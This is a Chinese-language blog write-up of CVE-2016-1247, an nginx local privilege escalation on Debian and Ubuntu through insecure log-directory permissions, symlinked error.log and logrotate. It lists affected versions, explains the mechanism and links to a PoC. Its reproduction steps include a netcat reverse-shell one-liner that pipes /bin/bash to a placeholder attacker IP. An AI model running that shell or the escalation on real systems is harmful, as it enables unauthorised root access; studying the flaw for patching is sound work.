美文网首页
浅谈CVE-2016-1247 nginx本地提权漏洞

浅谈CVE-2016-1247 nginx本地提权漏洞

作者: kevinhuangk | 来源:发表于2017-11-04 21:55 被阅读116次

    0x00 漏洞介绍

      -产生原因:Nginx在创建log目录时使用了不安全的权限配置,
      可造成本地权限的提升,攻击手法主要通过从www-data权限向root用   户权限提权得到。
      -影响范围(以下版本之前均受影响):
    

    Debian: Nginx1.6.2-5+deb8u3
    Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
    Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
    Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

    0x01 漏洞复现

    A.环境介绍:
      操作机:xp
      目标机:ubuntu 12.04
    B.原理分析:
      1.由于nginx服务的配置失误,在基于 debain的 Nginx会在/var/log/nginx路径下,  
     以www-data权限新建日志目录。
     2.该该目录下的error.log文件具有root权限(版本未修复前),这就是我们本次漏洞利用的突破口。
     3.我们通过符号链接的方式可以连到任意文件来替换日志文件,从而实现提权操作。
     4.linux内部提权过程:在文件替换后,nginx就会重新打开日志文件。此时就有两种方式:
      a. reboot ngnix。
      b.nginx demon形式。该形式需要USR1进程间信号,调用信号必然会    重载配置文件;
     该过程通过logrotate脚本调用实现,根本原因是通过脚本中do-rotate函数 触发实现。  
    

    这是该漏洞的根本利用点,也是我们后面写poc和exp的依据。

    0x02 漏洞触发与复现

     1.上传提权脚本(放在tem目录下)
     2.nc反弹shell,实现提权(mknod backpipe p; nc ip 9999<backpip|/bin/bash|>backpipe>)
     3.等待logrotation脚本的自动调用。
     4.用who am i 对比权限间的区别。
    

    0x03 漏洞利用

    用hook操作改变程序流程,实现所需操作,从而间接实现对函数功能的修改...
    

    0x04 漏洞poc

    https://www.seebug.org/vuldb/ssvid-92538

    0x05 参考网站

    https://security-tracker.debian.org/tracker/CVE-2016-1247](https://security-tracker.debian.org/tracker/CVE-2016-1247)
    http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

    相关文章

      网友评论

          本文标题:浅谈CVE-2016-1247 nginx本地提权漏洞

          本文链接:https://www.haomeiwen.com/subject/xjsqmxtx.html